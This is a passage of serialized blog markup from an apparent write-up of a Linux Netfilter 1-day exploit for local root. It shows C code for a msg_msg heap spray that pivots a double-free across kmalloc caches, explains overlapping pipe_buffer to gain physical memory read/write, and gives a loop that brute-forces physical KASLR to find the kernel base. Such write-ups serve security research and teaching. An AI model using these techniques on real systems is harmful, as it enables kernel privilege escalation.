{\n",{"type":23,"tag":134,"props":57124,"children":57125},{"class":136,"line":780},[57126,57130,57134,57138,57142,57146,57150],{"type":23,"tag":134,"props":57127,"children":57128},{"style":151},[57129],{"type":28,"value":20629},{"type":23,"tag":134,"props":57131,"children":57132},{"style":597},[57133],{"type":28,"value":57011},{"type":23,"tag":134,"props":57135,"children":57136},{"style":151},[57137],{"type":28,"value":9281},{"type":23,"tag":134,"props":57139,"children":57140},{"style":162},[57141],{"type":28,"value":57072},{"type":23,"tag":134,"props":57143,"children":57144},{"style":179},[57145],{"type":28,"value":242},{"type":23,"tag":134,"props":57147,"children":57148},{"style":168},[57149],{"type":28,"value":1777},{"type":23,"tag":134,"props":57151,"children":57152},{"style":179},[57153],{"type":28,"value":57154},"prev;\n",{"type":23,"tag":134,"props":57156,"children":57157},{"class":136,"line":797},[57158],{"type":23,"tag":134,"props":57159,"children":57160},{"style":179},[57161],{"type":28,"value":16048},{"type":23,"tag":24,"props":57163,"children":57164},{},[57165,57167,57173,57175,57180],{"type":28,"value":57166},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":23,"tag":92,"props":57168,"children":57170},{"className":57169},[],[57171],{"type":28,"value":57172},"mlist.next",{"type":28,"value":57174}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":23,"tag":92,"props":57176,"children":57178},{"className":57177},[],[57179],{"type":28,"value":56951},{"type":28,"value":57181}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":23,"tag":24,"props":57183,"children":57184},{},[57185,57187,57192,57194],{"type":28,"value":57186},"By incrementing the next pointer of our controllable ",{"type":23,"tag":92,"props":57188,"children":57190},{"className":57189},[],[57191],{"type":28,"value":56951},{"type":28,"value":57193}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":23,"tag":1116,"props":57195,"children":57197},{"alt":50084,"src":57196},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":23,"tag":87,"props":57199,"children":57201},{"className":28603,"code":57200,"language":28605,"meta":7,"style":7},"[...]\n    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n    msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n    int qid[SPRAY];\n    for (int i = 0; i \u003C SPRAY; i++)\n    {\n        qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n        if (qid[i] \u003C 0)\n        {\n            perror(\"[-] msgget\");\n        }\n        *(uint32_t *)msg->mtext = i;\n        *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n        msg->mtype = MTYPE_PRIMARY;\n        msgsnd(qid[i], msg, 0xe8 - 48, 0);\n        msg->mtype = MTYPE_SECONDARY;\n        msgsnd(qid[i], msg, 1024 - 48, 0);\n    }\n    // Prepare evil msg\n    int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n    if (evilqid \u003C 0)\n    {\n        perror(\"[-] msgget\");\n    }\n[...] // trigger double-free in kmalloc-256\n",[57202],{"type":23,"tag":92,"props":57203,"children":57204},{"__ignoreMap":7},[57205,57212,57220,57246,57263,57311,57318,57358,57390,57397,57418,57425,57472,57536,57562,57608,57632,57676,57683,57691,57727,57751,57758,57778,57785],{"type":23,"tag":134,"props":57206,"children":57207},{"class":136,"line":137},[57208],{"type":23,"tag":134,"props":57209,"children":57210},{"style":179},[57211],{"type":28,"value":9783},{"type":23,"tag":134,"props":57213,"children":57214},{"class":136,"line":147},[57215],{"type":23,"tag":134,"props":57216,"children":57217},{"style":179},[57218],{"type":28,"value":57219},"    // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":23,"tag":134,"props":57221,"children":57222},{"class":136,"line":185},[57223,57228,57232,57236,57241],{"type":23,"tag":134,"props":57224,"children":57225},{"style":179},[57226],{"type":28,"value":57227},"    msg_t *msg = calloc(1, ",{"type":23,"tag":134,"props":57229,"children":57230},{"style":597},[57231],{"type":28,"value":54834},{"type":23,"tag":134,"props":57233,"children":57234},{"style":179},[57235],{"type":28,"value":272},{"type":23,"tag":134,"props":57237,"children":57238},{"style":597},[57239],{"type":28,"value":57240},"msg_t",{"type":23,"tag":134,"props":57242,"children":57243},{"style":179},[57244],{"type":28,"value":57245},") + 0xe8 - 48);\n",{"type":23,"tag":134,"props":57247,"children":57248},{"class":136,"line":221},[57249,57253,57258],{"type":23,"tag":134,"props":57250,"children":57251},{"style":151},[57252],{"type":28,"value":18553},{"type":23,"tag":134,"props":57254,"children":57255},{"style":162},[57256],{"type":28,"value":57257}," qid",{"type":23,"tag":134,"props":57259,"children":57260},{"style":179},[57261],{"type":28,"value":57262},"[SPRAY];\n",{"type":23,"tag":134,"props":57264,"children":57265},{"class":136,"line":332},[57266,57270,57274,57278,57282,57286,57290,57294,57298,57303,57307],{"type":23,"tag":134,"props":57267,"children":57268},{"style":189},[57269],{"type":28,"value":192},{"type":23,"tag":134,"props":57271,"children":57272},{"style":179},[57273],{"type":28,"value":232},{"type":23,"tag":134,"props":57275,"children":57276},{"style":151},[57277],{"type":28,"value":18523},{"type":23,"tag":134,"props":57279,"children":57280},{"style":179},[57281],{"type":28,"value":54050},{"type":23,"tag":134,"props":57283,"children":57284},{"style":168},[57285],{"type":28,"value":257},{"type":23,"tag":134,"props":57287,"children":57288},{"style":205},[57289],{"type":28,"value":208},{"type":23,"tag":134,"props":57291,"children":57292},{"style":179},[57293],{"type":28,"value":50739},{"type":23,"tag":134,"props":57295,"children":57296},{"style":168},[57297],{"type":28,"value":5262},{"type":23,"tag":134,"props":57299,"children":57300},{"style":179},[57301],{"type":28,"value":57302}," SPRAY; i",{"type":23,"tag":134,"props":57304,"children":57305},{"style":168},[57306],{"type":28,"value":50775},{"type":23,"tag":134,"props":57308,"children":57309},{"style":179},[57310],{"type":28,"value":329},{"type":23,"tag":134,"props":57312,"children":57313},{"class":136,"line":438},[57314],{"type":23,"tag":134,"props":57315,"children":57316},{"style":179},[57317],{"type":28,"value":28680},{"type":23,"tag":134,"props":57319,"children":57320},{"class":136,"line":466},[57321,57326,57330,57334,57339,57344,57349,57353],{"type":23,"tag":134,"props":57322,"children":57323},{"style":162},[57324],{"type":28,"value":57325},"        qid",{"type":23,"tag":134,"props":57327,"children":57328},{"style":179},[57329],{"type":28,"value":54102},{"type":23,"tag":134,"props":57331,"children":57332},{"style":168},[57333],{"type":28,"value":257},{"type":23,"tag":134,"props":57335,"children":57336},{"style":264},[57337],{"type":28,"value":57338}," msgget",{"type":23,"tag":134,"props":57340,"children":57341},{"style":179},[57342],{"type":28,"value":57343},"(IPC_PRIVATE, ",{"type":23,"tag":134,"props":57345,"children":57346},{"style":205},[57347],{"type":28,"value":57348},"0666",{"type":23,"tag":134,"props":57350,"children":57351},{"style":168},[57352],{"type":28,"value":1474},{"type":23,"tag":134,"props":57354,"children":57355},{"style":179},[57356],{"type":28,"value":57357}," IPC_CREAT);\n",{"type":23,"tag":134,"props":57359,"children":57360},{"class":136,"line":479},[57361,57365,57369,57374,57378,57382,57386],{"type":23,"tag":134,"props":57362,"children":57363},{"style":189},[57364],{"type":28,"value":444},{"type":23,"tag":134,"props":57366,"children":57367},{"style":179},[57368],{"type":28,"value":232},{"type":23,"tag":134,"props":57370,"children":57371},{"style":162},[57372],{"type":28,"value":57373},"qid",{"type":23,"tag":134,"props":57375,"children":57376},{"style":179},[57377],{"type":28,"value":54102},{"type":23,"tag":134,"props":57379,"children":57380},{"style":168},[57381],{"type":28,"value":5262},{"type":23,"tag":134,"props":57383,"children":57384},{"style":205},[57385],{"type":28,"value":208},{"type":23,"tag":134,"props":57387,"children":57388},{"style":179},[57389],{"type":28,"value":329},{"type":23,"tag":134,"props":57391,"children":57392},{"class":136,"line":497},[57393],{"type":23,"tag":134,"props":57394,"children":57395},{"style":179},[57396],{"type":28,"value":31154},{"type":23,"tag":134,"props":57398,"children":57399},{"class":136,"line":518},[57400,57405,57409,57414],{"type":23,"tag":134,"props":57401,"children":57402},{"style":264},[57403],{"type":28,"value":57404},"            perror",{"type":23,"tag":134,"props":57406,"children":57407},{"style":179},[57408],{"type":28,"value":272},{"type":23,"tag":134,"props":57410,"children":57411},{"style":1461},[57412],{"type":28,"value":57413},"\"[-] msgget\"",{"type":23,"tag":134,"props":57415,"children":57416},{"style":179},[57417],{"type":28,"value":1021},{"type":23,"tag":134,"props":57419,"children":57420},{"class":136,"line":527},[57421],{"type":23,"tag":134,"props":57422,"children":57423},{"style":179},[57424],{"type":28,"value":524},{"type":23,"tag":134,"props":57426,"children":57427},{"class":136,"line":780},[57428,57432,57436,57441,57445,57449,57454,57458,57463,57467],{"type":23,"tag":134,"props":57429,"children":57430},{"style":168},[57431],{"type":28,"value":7210},{"type":23,"tag":134,"props":57433,"children":57434},{"style":179},[57435],{"type":28,"value":272},{"type":23,"tag":134,"props":57437,"children":57438},{"style":151},[57439],{"type":28,"value":57440},"uint32_t",{"type":23,"tag":134,"props":57442,"children":57443},{"style":168},[57444],{"type":28,"value":9281},{"type":23,"tag":134,"props":57446,"children":57447},{"style":179},[57448],{"type":28,"value":296},{"type":23,"tag":134,"props":57450,"children":57451},{"style":162},[57452],{"type":28,"value":57453},"msg",{"type":23,"tag":134,"props":57455,"children":57456},{"style":179},[57457],{"type":28,"value":13225},{"type":23,"tag":134,"props":57459,"children":57460},{"style":162},[57461],{"type":28,"value":57462},"mtext",{"type":23,"tag":134,"props":57464,"children":57465},{"style":168},[57466],{"type":28,"value":171},{"type":23,"tag":134,"props":57468,"children":57469},{"style":179},[57470],{"type":28,"value":57471}," i;\n",{"type":23,"tag":134,"props":57473,"children":57474},{"class":136,"line":797},[57475,57479,57483,57487,57491,57495,57499,57503,57507,57511,57515,57519,57523,57527,57532],{"type":23,"tag":134,"props":57476,"children":57477},{"style":168},[57478],{"type":28,"value":7210},{"type":23,"tag":134,"props":57480,"children":57481},{"style":179},[57482],{"type":28,"value":272},{"type":23,"tag":134,"props":57484,"children":57485},{"style":151},[57486],{"type":28,"value":55141},{"type":23,"tag":134,"props":57488,"children":57489},{"style":168},[57490],{"type":28,"value":9281},{"type":23,"tag":134,"props":57492,"children":57493},{"style":179},[57494],{"type":28,"value":296},{"type":23,"tag":134,"props":57496,"children":57497},{"style":168},[57498],{"type":28,"value":277},{"type":23,"tag":134,"props":57500,"children":57501},{"style":162},[57502],{"type":28,"value":57453},{"type":23,"tag":134,"props":57504,"children":57505},{"style":179},[57506],{"type":28,"value":13225},{"type":23,"tag":134,"props":57508,"children":57509},{"style":162},[57510],{"type":28,"value":57462},{"type":23,"tag":134,"props":57512,"children":57513},{"style":179},[57514],{"type":28,"value":924},{"type":23,"tag":134,"props":57516,"children":57517},{"style":205},[57518],{"type":28,"value":1278},{"type":23,"tag":134,"props":57520,"children":57521},{"style":179},[57522],{"type":28,"value":8121},{"type":23,"tag":134,"props":57524,"children":57525},{"style":168},[57526],{"type":28,"value":257},{"type":23,"tag":134,"props":57528,"children":57529},{"style":205},[57530],{"type":28,"value":57531}," 0xdeadbeefcafebabe",{"type":23,"tag":134,"props":57533,"children":57534},{"style":179},[57535],{"type":28,"value":182},{"type":23,"tag":134,"props":57537,"children":57538},{"class":136,"line":814},[57539,57544,57548,57553,57557],{"type":23,"tag":134,"props":57540,"children":57541},{"style":162},[57542],{"type":28,"value":57543},"        msg",{"type":23,"tag":134,"props":57545,"children":57546},{"style":179},[57547],{"type":28,"value":13225},{"type":23,"tag":134,"props":57549,"children":57550},{"style":162},[57551],{"type":28,"value":57552},"mtype",{"type":23,"tag":134,"props":57554,"children":57555},{"style":168},[57556],{"type":28,"value":171},{"type":23,"tag":134,"props":57558,"children":57559},{"style":179},[57560],{"type":28,"value":57561}," MTYPE_PRIMARY;\n",{"type":23,"tag":134,"props":57563,"children":57564},{"class":136,"line":827},[57565,57570,57574,57578,57583,57587,57591,57596,57600,57604],{"type":23,"tag":134,"props":57566,"children":57567},{"style":264},[57568],{"type":28,"value":57569},"        msgsnd",{"type":23,"tag":134,"props":57571,"children":57572},{"style":179},[57573],{"type":28,"value":272},{"type":23,"tag":134,"props":57575,"children":57576},{"style":162},[57577],{"type":28,"value":57373},{"type":23,"tag":134,"props":57579,"children":57580},{"style":179},[57581],{"type":28,"value":57582},"[i], msg, ",{"type":23,"tag":134,"props":57584,"children":57585},{"style":205},[57586],{"type":28,"value":55478},{"type":23,"tag":134,"props":57588,"children":57589},{"style":168},[57590],{"type":28,"value":50761},{"type":23,"tag":134,"props":57592,"children":57593},{"style":205},[57594],{"type":28,"value":57595}," 48",{"type":23,"tag":134,"props":57597,"children":57598},{"style":179},[57599],{"type":28,"value":242},{"type":23,"tag":134,"props":57601,"children":57602},{"style":205},[57603],{"type":28,"value":1224},{"type":23,"tag":134,"props":57605,"children":57606},{"style":179},[57607],{"type":28,"value":1021},{"type":23,"tag":134,"props":57609,"children":57610},{"class":136,"line":836},[57611,57615,57619,57623,57627],{"type":23,"tag":134,"props":57612,"children":57613},{"style":162},[57614],{"type":28,"value":57543},{"type":23,"tag":134,"props":57616,"children":57617},{"style":179},[57618],{"type":28,"value":13225},{"type":23,"tag":134,"props":57620,"children":57621},{"style":162},[57622],{"type":28,"value":57552},{"type":23,"tag":134,"props":57624,"children":57625},{"style":168},[57626],{"type":28,"value":171},{"type":23,"tag":134,"props":57628,"children":57629},{"style":179},[57630],{"type":28,"value":57631}," MTYPE_SECONDARY;\n",{"type":23,"tag":134,"props":57633,"children":57634},{"class":136,"line":859},[57635,57639,57643,57647,57651,57656,57660,57664,57668,57672],{"type":23,"tag":134,"props":57636,"children":57637},{"style":264},[57638],{"type":28,"value":57569},{"type":23,"tag":134,"props":57640,"children":57641},{"style":179},[57642],{"type":28,"value":272},{"type":23,"tag":134,"props":57644,"children":57645},{"style":162},[57646],{"type":28,"value":57373},{"type":23,"tag":134,"props":57648,"children":57649},{"style":179},[57650],{"type":28,"value":57582},{"type":23,"tag":134,"props":57652,"children":57653},{"style":205},[57654],{"type":28,"value":57655},"1024",{"type":23,"tag":134,"props":57657,"children":57658},{"style":168},[57659],{"type":28,"value":50761},{"type":23,"tag":134,"props":57661,"children":57662},{"style":205},[57663],{"type":28,"value":57595},{"type":23,"tag":134,"props":57665,"children":57666},{"style":179},[57667],{"type":28,"value":242},{"type":23,"tag":134,"props":57669,"children":57670},{"style":205},[57671],{"type":28,"value":1224},{"type":23,"tag":134,"props":57673,"children":57674},{"style":179},[57675],{"type":28,"value":1021},{"type":23,"tag":134,"props":57677,"children":57678},{"class":136,"line":868},[57679],{"type":23,"tag":134,"props":57680,"children":57681},{"style":179},[57682],{"type":28,"value":533},{"type":23,"tag":134,"props":57684,"children":57685},{"class":136,"line":877},[57686],{"type":23,"tag":134,"props":57687,"children":57688},{"style":141},[57689],{"type":28,"value":57690},"    // Prepare evil msg\n",{"type":23,"tag":134,"props":57692,"children":57693},{"class":136,"line":946},[57694,57698,57703,57707,57711,57715,57719,57723],{"type":23,"tag":134,"props":57695,"children":57696},{"style":151},[57697],{"type":28,"value":18553},{"type":23,"tag":134,"props":57699,"children":57700},{"style":179},[57701],{"type":28,"value":57702}," evilqid ",{"type":23,"tag":134,"props":57704,"children":57705},{"style":168},[57706],{"type":28,"value":257},{"type":23,"tag":134,"props":57708,"children":57709},{"style":264},[57710],{"type":28,"value":57338},{"type":23,"tag":134,"props":57712,"children":57713},{"style":179},[57714],{"type":28,"value":57343},{"type":23,"tag":134,"props":57716,"children":57717},{"style":205},[57718],{"type":28,"value":57348},{"type":23,"tag":134,"props":57720,"children":57721},{"style":168},[57722],{"type":28,"value":1474},{"type":23,"tag":134,"props":57724,"children":57725},{"style":179},[57726],{"type":28,"value":57357},{"type":23,"tag":134,"props":57728,"children":57729},{"class":136,"line":954},[57730,57734,57739,57743,57747],{"type":23,"tag":134,"props":57731,"children":57732},{"style":189},[57733],{"type":28,"value":11746},{"type":23,"tag":134,"props":57735,"children":57736},{"style":179},[57737],{"type":28,"value":57738}," (evilqid ",{"type":23,"tag":134,"props":57740,"children":57741},{"style":168},[57742],{"type":28,"value":5262},{"type":23,"tag":134,"props":57744,"children":57745},{"style":205},[57746],{"type":28,"value":208},{"type":23,"tag":134,"props":57748,"children":57749},{"style":179},[57750],{"type":28,"value":329},{"type":23,"tag":134,"props":57752,"children":57753},{"class":136,"line":984},[57754],{"type":23,"tag":134,"props":57755,"children":57756},{"style":179},[57757],{"type":28,"value":28680},{"type":23,"tag":134,"props":57759,"children":57760},{"class":136,"line":992},[57761,57766,57770,57774],{"type":23,"tag":134,"props":57762,"children":57763},{"style":264},[57764],{"type":28,"value":57765},"        perror",{"type":23,"tag":134,"props":57767,"children":57768},{"style":179},[57769],{"type":28,"value":272},{"type":23,"tag":134,"props":57771,"children":57772},{"style":1461},[57773],{"type":28,"value":57413},{"type":23,"tag":134,"props":57775,"children":57776},{"style":179},[57777],{"type":28,"value":1021},{"type":23,"tag":134,"props":57779,"children":57780},{"class":136,"line":1024},[57781],{"type":23,"tag":134,"props":57782,"children":57783},{"style":179},[57784],{"type":28,"value":533},{"type":23,"tag":134,"props":57786,"children":57787},{"class":136,"line":1032},[57788],{"type":23,"tag":134,"props":57789,"children":57790},{"style":179},[57791],{"type":28,"value":57792},"[...] // trigger double-free in kmalloc-256\n",{"type":23,"tag":9072,"props":57794,"children":57796},{"id":57795},"using-pipe_buffer-page-pointer-for-physical-readwrite",[57797],{"type":28,"value":57798},"Using pipe_buffer->page pointer for physical read/write",{"type":23,"tag":24,"props":57800,"children":57801},{},[57802,57804,57810,57811,57817,57818,57824,57826,57832],{"type":28,"value":57803},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":23,"tag":92,"props":57805,"children":57807},{"className":57806},[],[57808],{"type":28,"value":57809},"kmalloc-1k",{"type":28,"value":10458},{"type":23,"tag":92,"props":57812,"children":57814},{"className":57813},[],[57815],{"type":28,"value":57816},"overlap pipe_buffer",{"type":28,"value":20982},{"type":23,"tag":92,"props":57819,"children":57821},{"className":57820},[],[57822],{"type":28,"value":57823},"skbuf",{"type":28,"value":57825}," data to control the ",{"type":23,"tag":92,"props":57827,"children":57829},{"className":57828},[],[57830],{"type":28,"value":57831},"page",{"type":28,"value":57833}," field.",{"type":23,"tag":24,"props":57835,"children":57836},{},[57837,57838,57843,57845,57851,57853],{"type":28,"value":16084},{"type":23,"tag":92,"props":57839,"children":57841},{"className":57840},[],[57842],{"type":28,"value":57831},{"type":28,"value":57844}," field is a pointer into ",{"type":23,"tag":92,"props":57846,"children":57848},{"className":57847},[],[57849],{"type":28,"value":57850},"vmemmap_base",{"type":28,"value":57852},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":23,"tag":1116,"props":57854,"children":57856},{"alt":50084,"src":57855},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":23,"tag":24,"props":57858,"children":57859},{},[57860,57862,57867],{"type":28,"value":57861},"This now allows us to navigate the ",{"type":23,"tag":92,"props":57863,"children":57865},{"className":57864},[],[57866],{"type":28,"value":57850},{"type":28,"value":57868}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":23,"tag":9072,"props":57870,"children":57872},{"id":57871},"bruteforce-physical-kernel-base",[57873],{"type":28,"value":57874},"Bruteforce physical kernel base",{"type":23,"tag":24,"props":57876,"children":57877},{},[57878,57880,57886,57888,57893,57895,57901],{"type":28,"value":57879},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":23,"tag":92,"props":57881,"children":57883},{"className":57882},[],[57884],{"type":28,"value":57885},"modprobe_path",{"type":28,"value":57887},". Keep in mind that simply searching page by page from the start of ",{"type":23,"tag":92,"props":57889,"children":57891},{"className":57890},[],[57892],{"type":28,"value":57850},{"type":28,"value":57894}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":23,"tag":92,"props":57896,"children":57898},{"className":57897},[],[57899],{"type":28,"value":57900},"PHYSICAL_ALIGN",{"type":28,"value":57902}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":23,"tag":87,"props":57904,"children":57906},{"className":28603,"code":57905,"language":28605,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n    uint64_t kernel_base;\n    bool found = false;\n    uint8_t data[PAGE_SIZE] = {0};\n    puts(\"[*] bruteforce phys-KASLR\");\n    for (uint64_t i = 0;; i++)\n    {\n        kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n        pipebuf->page = vmemmap_base + kernel_base;\n        pipebuf->offset = 0;\n        pipebuf->len = PAGE_SIZE + 1;\n[...]\n        for (int j = 0; j \u003C PIPE_SPRAY; j++)\n        {\n            memset(&data, 0, PAGE_SIZE);\n            int count;\n            if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n            {\n                continue;\n            }\n[...]\n\n            if (is_kernel_base(data)) // [1] identify kernel base\n            {\n                found = true;\n                break;\n            }\n        }\n\n[...]\n",[57907],{"type":23,"tag":92,"props":57908,"children":57909},{"__ignoreMap":7},[57910,57917,57925,57933,57957,57990,58010,58050,58057,58101,58135,58162,58198,58205,58251,58258,58288,58301,58366,58373,58385,58393,58400,58407,58433,58440,58460,58472,58479,58486,58493],{"type":23,"tag":134,"props":57911,"children":57912},{"class":136,"line":137},[57913],{"type":23,"tag":134,"props":57914,"children":57915},{"style":179},[57916],{"type":28,"value":9783},{"type":23,"tag":134,"props":57918,"children":57919},{"class":136,"line":147},[57920],{"type":23,"tag":134,"props":57921,"children":57922},{"style":179},[57923],{"type":28,"value":57924},"// Bruteforce phys-KASLR\n",{"type":23,"tag":134,"props":57926,"children":57927},{"class":136,"line":185},[57928],{"type":23,"tag":134,"props":57929,"children":57930},{"style":179},[57931],{"type":28,"value":57932},"    uint64_t kernel_base;\n",{"type":23,"tag":134,"props":57934,"children":57935},{"class":136,"line":221},[57936,57940,57945,57949,57953],{"type":23,"tag":134,"props":57937,"children":57938},{"style":151},[57939],{"type":28,"value":45977},{"type":23,"tag":134,"props":57941,"children":57942},{"style":179},[57943],{"type":28,"value":57944}," found ",{"type":23,"tag":134,"props":57946,"children":57947},{"style":168},[57948],{"type":28,"value":257},{"type":23,"tag":134,"props":57950,"children":57951},{"style":151},[57952],{"type":28,"value":8519},{"type":23,"tag":134,"props":57954,"children":57955},{"style":179},[57956],{"type":28,"value":182},{"type":23,"tag":134,"props":57958,"children":57959},{"class":136,"line":332},[57960,57965,57969,57974,57978,57982,57986],{"type":23,"tag":134,"props":57961,"children":57962},{"style":151},[57963],{"type":28,"value":57964},"    uint8_t",{"type":23,"tag":134,"props":57966,"children":57967},{"style":162},[57968],{"type":28,"value":14573},{"type":23,"tag":134,"props":57970,"children":57971},{"style":179},[57972],{"type":28,"value":57973},"[PAGE_SIZE] ",{"type":23,"tag":134,"props":57975,"children":57976},{"style":168},[57977],{"type":28,"value":257},{"type":23,"tag":134,"props":57979,"children":57980},{"style":179},[57981],{"type":28,"value":44721},{"type":23,"tag":134,"props":57983,"children":57984},{"style":205},[57985],{"type":28,"value":1224},{"type":23,"tag":134,"props":57987,"children":57988},{"style":179},[57989],{"type":28,"value":16048},{"type":23,"tag":134,"props":57991,"children":57992},{"class":136,"line":438},[57993,57997,58001,58006],{"type":23,"tag":134,"props":57994,"children":57995},{"style":264},[57996],{"type":28,"value":55013},{"type":23,"tag":134,"props":57998,"children":57999},{"style":179},[58000],{"type":28,"value":272},{"type":23,"tag":134,"props":58002,"children":58003},{"style":1461},[58004],{"type":28,"value":58005},"\"[*] bruteforce phys-KASLR\"",{"type":23,"tag":134,"props":58007,"children":58008},{"style":179},[58009],{"type":28,"value":1021},{"type":23,"tag":134,"props":58011,"children":58012},{"class":136,"line":466},[58013,58017,58021,58025,58029,58033,58037,58042,58046],{"type":23,"tag":134,"props":58014,"children":58015},{"style":189},[58016],{"type":28,"value":192},{"type":23,"tag":134,"props":58018,"children":58019},{"style":179},[58020],{"type":28,"value":232},{"type":23,"tag":134,"props":58022,"children":58023},{"style":151},[58024],{"type":28,"value":55141},{"type":23,"tag":134,"props":58026,"children":58027},{"style":179},[58028],{"type":28,"value":54050},{"type":23,"tag":134,"props":58030,"children":58031},{"style":168},[58032],{"type":28,"value":257},{"type":23,"tag":134,"props":58034,"children":58035},{"style":205},[58036],{"type":28,"value":208},{"type":23,"tag":134,"props":58038,"children":58039},{"style":179},[58040],{"type":28,"value":58041},";; i",{"type":23,"tag":134,"props":58043,"children":58044},{"style":168},[58045],{"type":28,"value":50775},{"type":23,"tag":134,"props":58047,"children":58048},{"style":179},[58049],{"type":28,"value":329},{"type":23,"tag":134,"props":58051,"children":58052},{"class":136,"line":479},[58053],{"type":23,"tag":134,"props":58054,"children":58055},{"style":179},[58056],{"type":28,"value":28680},{"type":23,"tag":134,"props":58058,"children":58059},{"class":136,"line":497},[58060,58065,58069,58074,58078,58083,58087,58092,58096],{"type":23,"tag":134,"props":58061,"children":58062},{"style":179},[58063],{"type":28,"value":58064},"        kernel_base ",{"type":23,"tag":134,"props":58066,"children":58067},{"style":168},[58068],{"type":28,"value":257},{"type":23,"tag":134,"props":58070,"children":58071},{"style":205},[58072],{"type":28,"value":58073}," 0x40",{"type":23,"tag":134,"props":58075,"children":58076},{"style":168},[58077],{"type":28,"value":9281},{"type":23,"tag":134,"props":58079,"children":58080},{"style":179},[58081],{"type":28,"value":58082}," ((PHYSICAL_ALIGN ",{"type":23,"tag":134,"props":58084,"children":58085},{"style":168},[58086],{"type":28,"value":1777},{"type":23,"tag":134,"props":58088,"children":58089},{"style":179},[58090],{"type":28,"value":58091}," i) ",{"type":23,"tag":134,"props":58093,"children":58094},{"style":168},[58095],{"type":28,"value":12228},{"type":23,"tag":134,"props":58097,"children":58098},{"style":179},[58099],{"type":28,"value":58100}," PAGE_SHIFT);\n",{"type":23,"tag":134,"props":58102,"children":58103},{"class":136,"line":518},[58104,58109,58113,58117,58121,58126,58130],{"type":23,"tag":134,"props":58105,"children":58106},{"style":162},[58107],{"type":28,"value":58108},"        pipebuf",{"type":23,"tag":134,"props":58110,"children":58111},{"style":179},[58112],{"type":28,"value":13225},{"type":23,"tag":134,"props":58114,"children":58115},{"style":162},[58116],{"type":28,"value":57831},{"type":23,"tag":134,"props":58118,"children":58119},{"style":168},[58120],{"type":28,"value":171},{"type":23,"tag":134,"props":58122,"children":58123},{"style":179},[58124],{"type":28,"value":58125}," vmemmap_base ",{"type":23,"tag":134,"props":58127,"children":58128},{"style":168},[58129],{"type":28,"value":1586},{"type":23,"tag":134,"props":58131,"children":58132},{"style":179},[58133],{"type":28,"value":58134}," kernel_base;\n",{"type":23,"tag":134,"props":58136,"children":58137},{"class":136,"line":527},[58138,58142,58146,58150,58154,58158],{"type":23,"tag":134,"props":58139,"children":58140},{"style":162},[58141],{"type":28,"value":58108},{"type":23,"tag":134,"props":58143,"children":58144},{"style":179},[58145],{"type":28,"value":13225},{"type":23,"tag":134,"props":58147,"children":58148},{"style":162},[58149],{"type":28,"value":13369},{"type":23,"tag":134,"props":58151,"children":58152},{"style":168},[58153],{"type":28,"value":171},{"type":23,"tag":134,"props":58155,"children":58156},{"style":205},[58157],{"type":28,"value":208},{"type":23,"tag":134,"props":58159,"children":58160},{"style":179},[58161],{"type":28,"value":182},{"type":23,"tag":134,"props":58163,"children":58164},{"class":136,"line":780},[58165,58169,58173,58177,58181,58186,58190,58194],{"type":23,"tag":134,"props":58166,"children":58167},{"style":162},[58168],{"type":28,"value":58108},{"type":23,"tag":134,"props":58170,"children":58171},{"style":179},[58172],{"type":28,"value":13225},{"type":23,"tag":134,"props":58174,"children":58175},{"style":162},[58176],{"type":28,"value":8601},{"type":23,"tag":134,"props":58178,"children":58179},{"style":168},[58180],{"type":28,"value":171},{"type":23,"tag":134,"props":58182,"children":58183},{"style":179},[58184],{"type":28,"value":58185}," PAGE_SIZE ",{"type":23,"tag":134,"props":58187,"children":58188},{"style":168},[58189],{"type":28,"value":1586},{"type":23,"tag":134,"props":58191,"children":58192},{"style":205},[58193],{"type":28,"value":1729},{"type":23,"tag":134,"props":58195,"children":58196},{"style":179},[58197],{"type":28,"value":182},{"type":23,"tag":134,"props":58199,"children":58200},{"class":136,"line":797},[58201],{"type":23,"tag":134,"props":58202,"children":58203},{"style":179},[58204],{"type":28,"value":9783},{"type":23,"tag":134,"props":58206,"children":58207},{"class":136,"line":814},[58208,58213,58217,58221,58225,58229,58234,58238,58243,58247],{"type":23,"tag":134,"props":58209,"children":58210},{"style":179},[58211],{"type":28,"value":58212},"        for (",{"type":23,"tag":134,"props":58214,"children":58215},{"style":151},[58216],{"type":28,"value":18523},{"type":23,"tag":134,"props":58218,"children":58219},{"style":162},[58220],{"type":28,"value":8083},{"type":23,"tag":134,"props":58222,"children":58223},{"style":168},[58224],{"type":28,"value":171},{"type":23,"tag":134,"props":58226,"children":58227},{"style":205},[58228],{"type":28,"value":208},{"type":23,"tag":134,"props":58230,"children":58231},{"style":179},[58232],{"type":28,"value":58233},"; j ",{"type":23,"tag":134,"props":58235,"children":58236},{"style":168},[58237],{"type":28,"value":5262},{"type":23,"tag":134,"props":58239,"children":58240},{"style":179},[58241],{"type":28,"value":58242}," PIPE_SPRAY; 